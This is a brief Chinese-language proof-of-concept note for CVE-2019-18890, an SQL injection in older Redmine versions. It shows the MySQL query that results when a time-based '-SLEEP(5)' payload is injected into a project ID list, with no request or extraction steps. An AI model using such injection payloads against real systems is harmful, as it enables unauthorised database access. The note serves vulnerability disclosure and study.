CVE-2019-18890 POC (概念验证)
Redmine 至 3.2.9/3.3.9 SQL 注入
https://nvd.nist.gov/vuln/detail/CVE-2019-18890
在 MySQL 上，发生注入的第一个查询类似于以下示例，其中 "-SLEEP(5)" 是被注入的部分：
SELECT COUNT(*) FROM issues INNER JOIN projects ON projects.id = issues.project_id INNER JOIN issue_statuses ON issue_statuses.id = issues.status_id WHERE (((projects.status <> 9 AND EXISTS (SELECT 1 AS one FROM enabled_modules em WHERE em.project_id = projects.id AND em.name='issue_tracking')) AND (((projects.is_public = 1 AND projects.id NOT IN (SELECT project_id FROM members WHERE user_id IN (4,2))) AND ((issues.is_private = 0)))))) AND ((issues.status_id IN (SELECT id FROM issue_statuses WHERE is_closed=0)) AND projects.id IN (1,2,3-SLEEP(5)))
